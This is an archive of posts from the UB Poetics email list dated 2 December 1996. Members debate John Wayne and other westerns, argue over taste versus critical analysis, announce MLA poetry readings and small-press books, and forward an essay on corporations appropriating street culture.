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Ron -- like the good/bad writing issue, not liking John Wayne is a measure essentially of inattention to the work itself. Watch The Searchers, and tell me you are not seeing an incredible performance artist at work. Subtlety, not grossness, is the measure of his work -- on the other hand yes he did some bad work late (and early) in life. Rooster Cogburn kind of stuff. And his directorial skills (viz. The Alamo and his Vietnam film whose name I forget) were right up there with his political thinking.

My mom, btw, had a date with John Wayne (why do I always descend to these personal stories?).

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

↑ Index

40. **amato**
Johnny Guitar
Mon 2 Dec 1996

---

tom, hey, keep them personal stories coming!...

yeah, wayne in *the searchers* is incredibly nuanced... while i wasn't near as crazy about *the shootist* (and although i've always liked don siegel's work), it's still a solid film with solid performances... i find wayne utterly believable in his last role... might mention here one of my favorite cowboy villains, richard boone (hero of tv's *have gun will travel*), who played one of the bad guys to wayne in *the shootist* and *big jake* (this latter pretty bad), but really showed-off his villainous side best in *hombre*... and was quite good with stuart whitman in *rio conchos* too (this latter is jim brown's first film---boone plays a guy who hates native americans for having killed his family, as i recall)...

speaking of siegel, i esp. like *the beguiled*, with eastwood... and speaking of eastwood, i think *unforgiven* is good but overrated, and find his *the outlaw---josey wales* an interesting flick, finally... and in fact howard hughes' *the outlaw* is worth catching---pretty bizarre in its way...

there's always the 'mountain man' genre, and here i think *jeremiah johnson* (redford/pollack) is best (will geer is great in it)...

re anthony mann westerns, just saw *the far country* again yesterday... really, the location shooting alone is enough reason to watch (for me anyway)...

and i might mention a film that makes somewhat different use of the territory around tucson, *white of the eye*... though not a western (it's about a present-day psychopath), it threads c & w music throughout, and appears at times to be making a statement about contemporary survivalism... violent, disturbing, and stunningly shot and edited... but most def. not for all tastes, and the victims are, as has become par for this sorta flick, all women...

joe

↑ Index

41. aerialedge
Re: Some MLA poetry events
Mon 2 Dec 1996

---

re Perloff Book Party & MLA Group Reading at Bridge Street

PLEASE NOTE this event is B.F.S.I.L.
(Be Forewarned: Space is Limited)

Bridge Street is not a large store, it can only comfortably accomodate a crowd of 50, possibly 60 people.

Also, Mark implies the list for the group reading to be "current" -- i.e. that it is still open. That's not actually the case. There may be additional readers after this group has read. That will be determined by time constraints the night of the reading.

Friday, December 27
Bridge Street Books
2814 Pennsylvania Ave. in Georgetown

7:30 p.m. Book party for Marjorie Perloff and her new book WITTGENSTEIN'S LADDER: POETIC LANGUAGE AND THE STRANGENESS OF THE ORDINARY, published by University of Chicago Press

8:30
MLA Group Reading
Current reading list includes Charles Bernstein, Peter Gizzi, Carla Harryman, Hank Lazer, Bill Luoma, Douglas Messerli, Jennifer Moxley, A.L. Nielsen, Bob Perelman, Juliana Spahr, Barrett Watten, Elizabeth Willis

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42. **amato**
Re: Scammish
Mon 2 Dec 1996

i think ron's post summarizes for me the problem wrt 'creative' vs. 'critical' diss. (nevermind how fraught these distinctions are in actuality)... though as a poet i recognize immediately that my concerns as a writer are in many ways different than my more 'scholarly' colleagues, i don't believe that this is intrinsic to our pursuits... rather, i think it emerges from the way we've been educated (which in turn results, for example, in different writing conventions)... we've been educated, formally or informally, to come to "creative writing" or to "criticism" in specific ways---and markets have developed to shape publishing or job realities accordingly... i'm trying to say alla this, mind you, w/o indicating what my values are specifically---though of course emphasizing "education" as such is one indication of where i place value...

it's precisely in such terms that i found rasula's book so remarkable---i wish to hell i could get my colleagues (ALL of 'em) to read it, b/c i've little doubt they'd see themselves to varying degrees participating in the 'new critical' machinery he unveils...

i suppose one could just accept the way the markets operate, and use this logic as a feedback mechanism to guide and/or justify educational objectives... such in many ways is where the logic of some cultural studies approaches the logic of the corporation (that book i mentioned by bill readings is in my head here, _the university in ruins_)---by which i don't mean to slam cultural studies, only to indicate that in describing the apparatus of culture, it *can* result in a closed-loop, circulatory system wherein everything is convertible according to various (cultural) exchange values... on the other hand, exposing the mechanisms of culture as such can help us to see more clearly how these mechanisms operate, and why... and mebbe with this info., we can more constructively try to change things, perhaps by attending less to the marketplace as such and by attending more to forging, say, new (network) collectives...

anyway...

joe

↑ Index

43. **Judy Roitman**
Re: Scammish
Mon 2 Dec 1996

> *then you're just fodder in a rather large*

> *Ponzi scheme, there to keep your professors employed..*
>
> *Ron Silliman*

The undergraduates will keep professors employed, although not entirely to the professors' liking. Teaching assistantships give graduate students a few years in a day job which has, built into it, time to write. The pay stinks and the benefits are lousy, but it's less tiring for most folks than working at McD's.

From the standpoint of the universities, graduate programs are necessary to provide graduate students to teach undergraduates cheaply. They'd love to fire all the profs and hire only grad students and other temps.

11% employment in linguistics. That really stinks.

---------- Judy Roitman
| "Glad to have Math, University of Kansas | these copies of things
Lawrence, KS 66045 | after a while." [redacted]
| Larry Eigner, 1927-1996

↑ Index

44. daniel_bouchard
new from Pavement Saw Press
Mon 2 Dec 1996

---

this post is pressed into the list at request of friend Baratier who post'd by stamp from sunny Columbus, Ohio

—

PAVEMENT SAW PRESS

CHAPBOOK CONTEST

$500 and 25 copies of the winning chapbook will be awarded for the finest collection of poetry received. Len Roberts will be the judge. Submit up to 32 pages of poetry. Include cover letter with your name, address, phone number, poem titles, publication credits, and a brief biography. Entry fee: $7.00. Make all checks payable to PAVEMENT SAW PRESS. All entries must be postmarked by 12/20/96, for consideration in this year's contest. Each entrant will receive a copy of the winning chapbook provided a 8 1/2 X 11 SASE with $1.01 in postage is included. All manuscripts will be recycled. Send all entries to:

PAVEMENT SAW PRESS
Chapbook Contest
7 James Street
Scotia, NY 12302

——

12 from
r h y m m s

Robert Grenier

Hand written pages reproduced in 4-color process on 24 pound, watermarked, acid-free, recycled paper, with a 25% cotton mixture to ensure color durability. This version is printed in a limited edition of 110 copies, 10 of which are signed and numbered by the author.

The book is $20 unsigned, or $30 signed, including postage and handling, checks payable to (see address above).

——

OOPS.

Chris Stroffolino

Available now, 64 pages, perfect bound, color cover with smiling picture of author on back.

The poems in this collection have appeared in such national publications as New American Writing, Caliban, Sulfur, Talisman, Lingo, TO, Longshot, American Letters & Commentary and others.

The book is $6.95, including postage and handling, checks payable to (see above address).

↑ Index

45. daniel_bouchard
Boston reading
Mon 2 Dec 1996

Paul Metcalf is reading at Waterstone's tomorrow (12/3) night at 7:30.

Don't miss it for the world.

[redacted]

↑ Index

46. Christina Fairbank Chirot
Re: more on westerns
Mon 2 Dec 1996

The Fritz Lang film Tom Mandel asked about--with Marlene Dietrich--is Rancho Notorious.

It's interesting how many directors of good film noirs--made good

westerns: Don Siegal, Sam Fuller, Robert Aldrich, Fritz
Lang, Nicholas Ray, Dennis Hopper, Hawks, Huston. (a bizarre twist on
this being Joseph Lewis' Gun Crazy . . .).

A western triple feature: the dying John Wayne in The Shootist,
the dying Steve McQueen in Tom Horn and Marilyn, Monty and Gable near
death in The Misfits . . .

(For late night die hards--andy Warhol's Lonesome Cowboys . . .)

Though--aren't Westerns really documents and dreams--of
Colonialists . . .

(Are Atala and Rene and Moll Flanders "proto-westerns" .
. .) (There was period in the sixties when spaghetti westerns were the
most popular films in a good part of the "Third World" . . .and in
europe--breaking the spell of the Winnetou series . . .)

A good book on the subject: Spaghetti Westerns by Christopher
Frayling (London; Routledge and Kegan Paul, 1981).

And a very enjoyable one on the subject: Les bons. les sales,
les mechants et les propres de Sergio Leone by Gilles Lambert (Paris:
Solar, 1976). Some good interview material and background on Leone's
early work in the "classical/biblical"epic genre--his own last Days of
Pompeii and Collussus of
Rhodes--work on Ben Hur, Quo Vadis, Helen of Troy (Leone claims he
lobbied hard to get Brigitte Bardot her first role in this--as a slave)
and as well his appearance as a priest in Bicycle Thief by de Sica . . .

"You see, in this world there are two kinds of people, my
friend. Those with loaded guns, and those who dig. You dig."

--The Good the Bad and the Ugly

you dig . . . ?
dbchirot

↑ Index

47. UbuEditor
Philip Guston's Poem-Pictures Webified
Mon 2 Dec 1996

****

UbuWeb Visual & Concrete Poetry
http://www.ubuweb.com/vp

****

Announcing the webification of 24 images of Philip Guston's Poem-Pictures
from the 1970's, housed in our "Historical" section. Collaborators include: Clark
Coolidge, Stanley Kunitz, William Corbett, and Musa McKim. All images load

quickly and are in living color and come from the exhibition of the same name curated by Debra Bricker-Balken.

Also, new this month in the "Contemporary" section: Felix Bernstein (Letters, 1996) , Jake Berry (from "Brambu Drezi"), Alison Knowles (from "Bread & Water), and Komninos Zervos (VR Quicktime Poem).

*We are looking to give papers housing on the subject of Visual, Concrete, & Sound Poetry

Submissions encouraged on all fronts.

Visit frequently as we're always growing.

****
UbuWeb Visual & Concrete Poetry
http://www.ubuweb.com/vp
****

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48. **tmandel**
Rancho Notorious
Mon 2 Dec 1996

Pat Pritchett reminds me that the Fritz Lang western with Marlene Dietrich is "Rancho Notorious" -- and a wonderful film it is.

Destry Rides Again... I can't remember what this name fits however.

Kali Tal chides me writely for the phrase "film as poetic act" which in her view (I assume gender from the name) threatens the specificity of the poetic. Really, it is the specificity of the filmic act which is under siege in my words, which were obviously just another imperial invasion of film by an ethereal caucasian from rhyme.

The Searchers as a Vietnam war film, however, I don't know. My copy of Leonard Maltin is out of reach (and I can't see through its cover any more) but if memory serves that film was made in the late fifties.

Now. Who has seen Taza, Son of Cochise? Or, for that matter, Sign of the Pagan -- about Rome not the West. (There is a connection. See below). Both by Douglas Sirk, high on my list of the ten greatest directors ever. Introduced to me by the sorely missed Warren Sonbert.

The connection: when Hawks was making the Egyptians (or is that Land of the Pharoahs? -- damn but the force is weak and I can't draw that Maltin volume with a glance) he had William Faulkner doing dialogue and Faulkner complained that he was having a hard time getting a voice going for the

Pharoah. "I can't help you, Bill" Hawks replied "I don't know what a Pharoah sounds like any more than you." "Can I make him sound like a Kentucky Colonel," Faulkner asked, "I know how they talk." "Why not?" returned Hawks -- and that's enough of a connection for me.

Remind me, one of these days, to tell this list about my date with Jessica Lang, and my attempt to pick up Faye Dunaway at a party. Good stories both, tho rather weak in the denouement department.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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49. Eliza McGrand- CVA Guest

Re: Boston reading

Mon 2 Dec 1996

ok, i'll get my teeth together and go. i will. i really will but i don/t dare say anything about meeting becasue i have such an abyssmal record... e

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50. Michael Boughn

Coach House lives!

Mon 2 Dec 1996

Having previously announced the demise of Coach House Press, I am now pleased to announce the (re)birth of Coach House Books. CHB is associated with some of the founders of CHP who, in its last years, were no longer associated with it.

According to their newsletter, they'll be publishing two titles a month in two distinct formats: "limited edition, made-to-order printed books, and electronic books, on-line, World Wide". If you want one of the on-line books, you can order it, and they'll print it, bind it and mail it to you.

The first two books they've listed are _Nicholodeon_ by Darren Wershler-Henry and _Kiyooka, December-February '87 '88_ with text by Roy Kiyooka and and monochrome drawings by David Bolduc.

For more information you can subscribe to the newletter by emailing CHB at [redacted]. You can also see the books at their web site: http://www.chbooks.com.

Mike
[redacted]

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51. **Tom Beard**
Re: TOMORROW PEOPLE
Mon 2 Dec 1996

Chris Stroffolino wrote:
> Ashbery quips, "but I like all of these lines." Explaining that
> he "would never rule out any way of doing anything, includ-
> ing poetry," he stresses that poetry is "always result rather
> than process." (VOICE 12-3-96)
> Well, aside from Ashbery's last quote--which seems
> weird and perhaps taken out of context (what is "result"
> vs. "process" here and how does that not contradict official
> avant garde pieties, etc.)

Yes, I'm intrigued by the contradictions in the result/process opposition, too.
There is an emphasis (in post-modern/avant garde/querzblatz poetics) upon the
process of writing, and a distaste (that 't' word again) for language as a product
to be consumed.

On the other hand, this poetics emphasises the reader's role in creating meaning,
when the reader can (should?) not have access to the writing process. Is their a
contradiction here, or a division between practitioners & theorists (even when
contained in the same bod)?

I've tended on the 'result' side when defending my 'tastes' in music. "How can you
listen to that," my friends say, "it's all made by computers!". I usually reply that
it doesn't matter to me whether the sounds are created by a vituoso musician,
programmed by an engineer or conjured from empty space - it all ends up encoded as
0's and 1's anyway, and the listening experience is what makes it human.

Similarly, I don't think one should care whether a bunch of words arose from the
heartfelt expression of human emotion, the product of chance operations, a calculated
fiction or a error in translation. Poetry arises in the reading process.

(Of course, as a writer and musician, I'm intrigued by composition processes -
knowing about certain unusual production techniques, such as the melody played by
Casio calculator on Kraftwerk's 'Pocket Calculator', makes a piece more interesting
to me, although that knowledge is often extrinsic to the music. We all live with
such contradictions.)

Tom Beard.

BTW, I liked that MacProse excerpt, but I'm not sure whether I'd have liked it more
or less if I'd thought that a human had written it.

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52. **amato**

Re: more on westerns

Mon 2 Dec 1996

---

db chirot, i dig!... and i like the noir/western connection... going back the other way, tourneur's *out of the past* feels different than most noir in part b/c he's worked in those western-outdoorsy locales...

let's see---i like the *misfits/tom horn/shootist* trilogy idea, but i think i'd replace *tom horn* with peckinpah's (presumably butchered in the editing room) *ride the high country*, seeing as how it was randolph scott's last film... and an excellent flick, butchered or no...

anyway, as to mcqueen: much as i enjoy him, *tom horn* is just awful, no?---and it's his next-to-last flick, i think... *the hunter* was his last i believe, and this was bad too... as far as westerns, *nevada smith* with mcqueen was enjoyable, though for me mcqueen = bullit, magnificent seven, thomas crown, 'doc' in *the getaway* (near-western), and esp. 'the cooler king' in *the great escape* whose motorcycle stunts put an indelible imprint on my and my bro's young minds (and hooked us on bikes in general---so we're back to *easy rider* as a western)...

as to taza: i always get the 'broken' flicks messed up, *broken arrow* and *broken lance*... but according to maltin here, *taza, son of cochise* is a sort of sequel to *broken arrow* (*broken lance* is the one where widmark gets the knife in his hand---very violent for its time)... still, much as i like jeff chandler, putting him in native garb doesn't quite work these days, no?... no doubt didn't work well then, if you were a native... but ok, times change (thankfully)...

what about that odd charlie bronson pic, *the white buffalo*?... and speaking of buffalo, one of robert taylor's best performances was in *the last hunt* (richard brooks)...

i'm thinking, before we go off into 'sons of machiste' and the like (i know), that perhaps it's worth noting in passing kubrick's tendency to bump up against the western genre, his final visual in *strangelove* of slim pickens on that a-bomb, riding it a-rodeo style... and joker's john wayne-isms in *full metal jacket* (which kali can speak to much better than me)... though it seems that kubrick has stayed away from the genre literally...

YEE HAW...

but ok, as to sand & sandal epics: they used to show those italian musclemen flicks every sunday morning, and these, along with abbott & costello, kept me home from sunday school (thank the lord)...

hey, and what about richard brooks' *bite the bullet!?---

but really, when you look over these lists of titles and think of the films, it really does strike you how much the western has been focused on men men men men men men men men//

joe

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53. Pritchett,Pat
Re: Rancho Notorious
Mon 2 Dec 1996

Tom,

Destry also features Ms. Dietrich, as the euphemistically dubbed "Frenchie," singing "See What The Boys In the Backroom Will Have."

Douglas Sirk is one of the all-time greats! (But I love Max Ophuls more...). I've only seen Sirk's classic bourgeois weepies - "All That Heaven Will Allow," and the remake of "Imitation of Life." Can't remember - did he also do "Magnificent Obsession?"

Now, as for Jessica Lange & Cheekbone Dunaway - do tell, do tell!

Patrick

From: tmandel
To: POETICS
Subject: Rancho Notorious
Date: Monday, December 02, 1996 5:56PM

Pat Pritchett reminds me that the Fritz Lang western with Marlene Dietrich is "Rancho Notorious" -- and a wonderful film it is.

Destry Rides Again... I can't remember what this name fits however.

Now. Who has seen Taza, Son of Cochise? Or, for that matter, Sign of the Pagan -- about Rome not the West. Both by Douglas Sirk, high on my list of the ten greatest directors ever. Introduced to me by the sorely missed Warren Sonbert.

Remind me, one of these days, to tell this list about my date with Jessica Lang, and my attempt to pick up Faye Dunaway at a party. Good stories both, tho rather weak in the denouement department.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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54. **DS**
jetskis
Mon 2 Dec 1996

Maria,

having just learned that Jet was a longterm Afro-american mag - i can see now how you could have thought it a racial slur - until then i was wracking my brain for eastern-european possibilities. Thankyou for bringing this possible misunderstanding to my attention. I will ensure my violent dislikes are kept in their maritime context in future. I hope i have not caused you offness.

Kind regards

Dan

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55. Pierre Joris
Re: Rancho Notorious
Mon 2 Dec 1996

[redacted] wrote:
>
> Pat Pritchett reminds me that the Fritz Lang western with Marlene
> Dietrich is "Rancho Notorious" -- and a wonderful film it is.
>
> Destry Rides Again... I can't remember what this name fits however.

Because, if memory serves, la Dietrich played in that one too, with, was it, Jimmy Stewart?.

> *Remind me, one of these days, to tell this list about my date with Jessica Lang, and my attempt to pick up Faye Dunaway at a party. Good stories both, tho rather weak in the denouement department.*
>
> *Tom*

& if you do, I'll tell what happened when Sam Fuller introduced me to Fanny Ardant.

re Johny Guitar -- Francois Truffaut quipped that it was another retelling of Beauty and the Beast with what's his name (the lead actor's name, damn it, escapes me now) in the role of beauty.

Pierre

==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

"A book has to be the axe for the frozen sea inside us.
This I believe."

(Kafka, Letter to Oskar Pollack 27 Jan 1904)
==========

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56. **DS**
Re: Johny Guitar
Mon 2 Dec 1996

Dislike of John Wayne is made rather easy with the benefit hindsight: 'Green Berets' the fact that he named his son after his 'Indian hating' character in the searchers & John Ford's confessions that he hid the searchers script from wayne because he thought wayne would not have coped with its leftist politics. His all-round jingoism made him a pretty unpopular figure at a time of strong anti-war protest & revisionist history. However he is an important figure for both film & cultural studies - not just as a reflection of his and his characters politics - but the roles he played in a multitude of films many of which (green berets - excluded) use his persona to address complex issues that using a less strong character/personality would not have adressed.

The love/hate thing ties in quite nicely here, his Ethan was a man who 'hated indians' obviously this is a reflection on him rather than a reflection on 'the indians' & is a feature by which we judge him - and by which we know where we stand. It is a locator for his character. (In the green berets he hates another kind of indian).

Any judgements of Wayne (hate/love - violent (or passive) dislike) have to be tempered by a certain ambivalence: the usefulness of his character in 19th & 20th century american attitudes makes it difficult to write-off many of the films he starred in.

Dan

> *Ron -- like the good/bad writing issue, not liking John Wayne is a measure essentially of inattention to the work itself. Watch The Searchers, and tell me you are not seeing an incredible performance artist at work. Subtlety, not grossness, is the measure of his work -- on the other hand yes he did some bad work late (and early) in life. Rooster Cogburn kind of stuff. And his directorial skills (viz. The Alamo and his Vietnam film whose name I forget) were right up there with his political thinking.*
>
> *My mom, btw, had a date with John Wayne (why do I always descend to these personal stories?).*
>
> *Tom*
>
> **********
> *Tom Mandel * 2927 Tilden St. NW*
> *Washington DC 20008 * [redacted]*
> *vox: [redacted] * fax [redacted]*

> **********

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57. **wkl888**

More MLA Readings

Mon 2 Dec 1996

In addition to the MLA readings mentioned in Mark Wallace's post earlier today, I wanted to add that Kimiko Hahn, myself, and Heinz Insu Fenkl will be reading on Sunday, December 29, 5:15-6:30, as session 530 (Holmes Room, Sheraton Washington). Although the session is blandly titled "Three Asian American Writers: A Reading" (we barely got the proposal and our membership fees in!), I promise you this will be very different from the type of mainstream multiculturalist Asian American writing (Garrett Hongo, Amy Tan, etc.) usually offered or discussed at the MLA. My partner Juliana Chang will also be speaking on "Jessica Hagedorn's Poetics of Danger and Desire" in session 587 (Sunday, 9-10:15 pm, Holmes Room, Sheraton Washington). Kimiko's 4 collections include, most notably, _Earshot_ and _Unbearable Heart_ and her work has appeared in numerous anthologies. She won the Theodore Roethke Award last year and an American Book Award this year. I will be reading selections from the vast anthology _Premonitions: An Anthology of New Asian North American Poetry_ (I will soon be posting a Poetics-list discount offer for this book), and Heinz, who has written everything from HBO animation scripts to ribofunk sci-fi novels (wetware-based post-cyberpunk writing) will be reading from his new autobiographical novel (and first with a large corporate publisher), _Memories of My Ghost Brother_ (Dutton, just released), based on his growing up around a U.S. Army base in South Korea that served as support for the American forces in Vietnam. John Yau may also read, depending on whether he can make it down to DC (John's new collection of prose and poetry, _Forbidden Entries_, has just been published by Black Sparrow, and his book on Jasper Johns, _The United States of Jasper Johns_ (Abrams), is due out in a few weeks.)

Would love to meet any Poetics list members after the reading.

Walter K. Lew
c/o Prof. J. Chang
English Dept.
Boston College
Chestnut Hill, MA 02167

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58. tmandel
Re: Rancho Notorious
Mon 2 Dec 1996

> *Remind me...*
> *Jessica Lang, and ...Faye Dunaway*
>
> *& if you do, I'll tell what happened when Sam Fuller introduced me to Fanny Ardant.*

tempting, Pierre. ...I'm going to think about it.
>
>re Johny Guitar .. with what's his name (the lead
>actor's name, damn it, escapes me now)

It was Sterling Hayden I believe.

tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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59. maria damon
Re: jetskis
Mon 2 Dec 1996

---

hey listen. i was kidding around. goofing around. horsing around. pulling your leg. i didn't think it was really an ethnic slur. okay? --your pal, maria d

In message <[redacted]> UB Poetics discussion group
writes:
> Maria,
>
> having just learned that Jet was a longterm Afro-american mag - i can see
> now how you could have thought it a racial slur - until then i was wracking
> my brain for eastern-european possibilities. Thankyou for bringing this
> possible misunderstanding to my attention. I will ensure my violent dislikes
> are kept in their maritime context in future. I hope i have not caused you
> offness.
>
> Kind regards
>
> Dan

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60. **wystan**

Re: taste, judgment, etc...

Mon 2 Dec 1996

> *Date: Sun, 1 Dec 1996 21:12:12 MST*
> *Reply-to: UB Poetics discussion group <[redacted]>*
> *From: Kali Tal <[redacted]>*
> *Subject: Re: taste, judgment, etc...*
> *To: [redacted]*

Kali writes in response:
>
>Taste is fine, as far as it goes. It's sort of like opinions.
>Everybody's
>got opinions, but not everyone's opinions are equally supportable. You
>can
>stop with "I like it" or "I hate it," just as you can say, "Well,
>that's my
>opinion." But to leave it at that is to refuse to interrogate the
>cultural
>structures which contain and shape your tastes, and to refuse to hold
>yourself to rigorous standards of analysis and argument. Wystan, *your*
>tastes may be indefensible. Mine are not.
>

Well, yes and no. Taste is more complex than opinion. And I think it supports judgements about art works--whether they are westerns, video installations, tevaevae, or texts by Jackson MacLow--rather more effectively than 'rigorous standards of analysis and argument.' Given a choice between 'holding myself'--in an iron like grip--to such standards and interrogating myself--'confess, confess, collaborator, pig, we know there are dark structures shaping your tastes, we want NAMES!'--and exercising my taste, i know what I prefer to be doing.

The problem we have with 'taste' is that it is judgment supported by class, upper middle usually. Its what snobs have. Its effete. 'Good' taste is like good manners, and we want to hit on it with our' bad' taste and tear down the class structure.It is we think the aesthetics of modernists (hiss, boo) and formalists too (boo, hiss) and so it has a bad name. My question was: might we steal it back?

For you don't come out of a movie itching to interrogate the structures which shaped your response, you HAVE a response. When I like something a lot, its

happens fast and that is neither a sign I'm a dumb shit who makes knee jerk reactions or that I have applied rigorous standards of analysis and argument to what I have read. Equally, as a practitioner I cannot afford to consider that all modes of practice, all poetics, have an equal claim on me; on the contrary. There are practices out there, , whose claims I have dismissed, there are practices and tastes for them which would not only deny the claims of my own but which threaten its existence. Taste observes an economy in which value judgements play a vital part, saving time and energy for reading what has to be read and writing what has to be written.

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61. **wystan**

Re: taste, judgment, etc...

Mon 2 Dec 1996

>Date: Sun, 1 Dec 1996 21:12:12 MST
>Reply-to: UB Poetics discussion group
><[redacted]>
>From: Kali Tal <[redacted]>
>Subject: Re: taste, judgment, etc...
>To: [redacted]
>
Oops. That reply to Kali, if nobody guessed, was from me,
Wystan

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62. **wystan**

Re: taste, judgment, etc...

Mon 2 Dec 1996

> *Date: Mon, 2 Dec 1996 08:00:58 -0500*
> *Reply-to: UB Poetics discussion group*
> *<[redacted]>*
> *From: Michael Boughn <[redacted]>*
> *Subject: Re: taste, judgment, etc...*
> *To: [redacted]*

Yes, thank you, Michael, that is an example of what I meant. And my regards to the baby.

Wystan.
>
>> [T]aste judgements are about not explaining yourself. There are
>> contexts in which this is the better (the 'cooler') option. Taste is

>> more about being than knowing, its more performative. A person who
>> thinks all sorts of thing are good of their kind, and if they're not
>> good at least they're interesting in a cultural studies kinda way,
>runs
>> the risk of sounding dumb, disengaged, or patronizing depending on
>the
>> circumstances... Whereas the person with violent narrow tastes means
>> business.
>> Wystan
>
>Sometimes this distinction signals the difference between the
>academic "sovereign" of the material and the person finding a way
>through to their own art. Is that what you mean by "meaning business",
>Wystan? Reading Olson is like that. He read not to "master" material
>or to "explain" to others, but to hew his own path, and you either
>stay on for the ride or not. That's why all the academics (at Buffalo,
>etc.--though not Al Cook) tend to get so upset when confronted with
>Olson's "scholarship".
>
>Ooops, gotta run, the baby just woke up.
>
>Mike
>[redacted]
>

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63. Matt Kirschenbaum
dialectics of coolness (fwd)
Mon 2 Dec 1996

Not strictly poetics, but I think there's lots of meat here; it also opens questions similar to those I've tried to raise on the interface of poetry/poetics and new media/consumer/aesthetics.

--Matt

> *[Forwarded with the author's permission.]*
>
> *=-=-=-

for (un)subscribing, send an empty message to [redacted]
*=-=-=-

completely binary -- a company or a Web site is either cool or it's dead, cold. In cyberspace, "cool" and "hot" are the same thing.

What is cool? Where does it come from?

It comes from the streets. And more often than not, it comes from the streets of the working poor, especially from the vibrant culture of poor African American and Latino kids. It comes from the opposite pole of our society than the one Microsoft Chairman Bill Gates and his peers inhabit. Increasingly, immense multinational corporations are dependent, for their marketing, on the culture of young people who are the losers in the Information Age.

At the recent Conference on Technology, Jobs and Community held at Cal State L.A., I spent some time talking with some young hip-hop artists, black, white and Latino. Carlos "MARE 139" Rodriguez, a former graffiti artist who grew up in the South Bronx, put it rather succinctly: "The 'soul' of this country has always been rooted in poverty."

This is an old phenomenon. European bourgeois discovered the vitality of urban bohemian culture in the late 19th century, resulting in Puccini's great opera, "La Boheme." Harlem's renaissance in the 1920s was due to wealthy white patrons spending their time and money in black nightclubs. All the forms of that global cultural juggernaut, rock 'n' roll, were born in black juke houses in the South or in the ghettos of factory cities in the North.

The predominant cultural expression of the inner city for the last 15 years, hip-hop, has been a brilliant marriage of street slang and technology. Hip-hop got its start in the 1970s when street DJs started manipulating records on turntables to produce rhythms and surprising collages of sounds and words.

Hip-hop musicians have absorbed computers and turned them into bold music machines with sampling, synthesized bass and dense layers of sound and expression. Hip-hop swept the suburban world of white youth as much as it did the mean streets of the ghetto.

Just as corporations swallowed up the music of the '60s to sell products to baby boomers, companies have sanitized hip-hop, punk and surfer culture to appeal to the young computer generation. Coca-Cola, perhaps the ultimate brand-name standard, has a home page (http://www.cocacola.com) that features text of surfer "valley talk" in a jagged punk font. One page describes "a guy with a full-body tattoo covered with links" -- cyberpunk meets the soft drink business.

Brett Webb runs a Web site called Art Crimes (http://www.graffiti.org), an international database of graffiti art. Webb says he got an offer from Levi

> *Strauss to buy the entire site.*
>
> *It's long been an axiom of cool that whenever something cool shows up in commercial use it's no longer cool.*
>
> *What is obvious is that the great factories of style and coolness that are constantly churning out ideas in places like East L.A., Watts, Harlem, the South Bronx and elsewhere are always "pushing the envelope" of what mainstream white society will accept. When someone like Dennis Rodman starts showing up in TV commercials and People magazine, it's time to move on to something new.*
>
> *But the deepest irony is that the global information economy is pushing the working poor of all races to the wall. In previous eras, it was possible to have a vital working-class culture that survived on factory and service wages. That's no longer true. Despite the recent boost in the minimum wage, most of the working poor, tens of millions of people, are barely making ends meet.*
>
> *The fact that billionaires and millionaires are stealing or faking the culture and imagery of the ghetto is not lost on the people who live there. What was once a mostly happy and carefree hip-hop culture has already turned into something angry and dangerous -- gangsta rap, for example -- and now that's devolving into something even angrier and more confrontational.*
>
> *There are edgy fault lines between the artists of the ghetto and high-tech imitators of cool that could eventually register on the Richter scale. Advertising firms may want to make their clients cool, but they're playing with fire.*
>
> *Gary Chapman Is Director of the 21st Century Project at the University of Texas at Austin. He can be reached at [redacted].*

==========
========== Matthew G. Kirschenbaum University of Virginia [redacted] Department of English
http://faraday.clas.virginia.edu/~mgk3k/ Electronic Text Center

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64. Kali Tal
Re: taste, judgment, etc...
Mon 2 Dec 1996

wystan writes:

> *Well, yes and no. Taste is more complex than opinion. And I think it supports judgements about art works--whether they are westerns, video installations, tevaevae, or texts by Jackson MacLow--rather more effectively than 'rigorous standards of analysis and argument.' Given a choice between 'holding myself'--in an iron like grip--to such standards and interrogating myself--'confess, confess, collaborator, pig, we know there are dark structures shaping your tastes, we want NAMES!'--and exercising my taste, i know what I prefer to be doing.*

Why is taste "more complex than opinion"? As far as I can see, this is just something you're saying. Where's the there? *Why* is "taste" more effective than "rigorous standards of analysis and argument"?

That's a nice rhetorical device you're using, insisting that my prose is as thuggish as your own, but to pull it off you need to quote me out of context. I suggest that refusing to interrogate the *cultural structures* which contain and shape your taste is a problem; *not* that you should interrogate yourself (take yourself hostage, force yourself to talk). At which point you are left with only the term "rigorous" (since "hold" could as easily be gentle as rough) to point to, and "rigor," while it lends itself to some amusing images, is hardly on the level of "violence."

> *My question was: might we steal it back?*

I don't *think* so. I mean, there would have to be a back to steal it from, wouldn't there? Seems to me that your notion of taste is a wee bit... nostalgic. And nostalgia, as we all know, is a longing for an age which never existed.

> *For you don't come out of a movie itching to interrogate the structures which shaped your response, you HAVE a response.*

Part of my experience of the movie is the interrogation of those structures; the interrogation and the response are not separable. I, too, know what I like, almost immediately. The difference seems to be that I know *why* I like it, and I think it is important to know why I like it. I also know when I *don't* like something. If I know *why* I don't like something, I'm satisfied. It's when I don't like something and I *don't* know why that the more lengthy interrogation begins. What I hear you saying is that "taste is." Again, I don't *think* so. Taste is a product of what we're raised to accept as "good" (or "bad" if you're feeling rebellious).

> *When I like something a*
> *lot, it happens fast and that is neither a sign I'm a dumb shit who*

> *makes knee jerk reactions or that I have applied rigorous standards of analysis and argument to what I have read.*

Ummm, so what is it you *are* doing when you like something a lot?

> *Equally, as a practitioner I*
> *cannot afford to consider that all modes of practice, all poetics, have an equal claim on me; on the contrary. There are practices out there, , whose claims I have dismissed, there are practices and tastes for them which would not only deny the claims of my own but which threaten its existence. Taste observes an economy in which value judgements play a vital part, saving time and energy for reading what has to be read and writing what has to be written.*

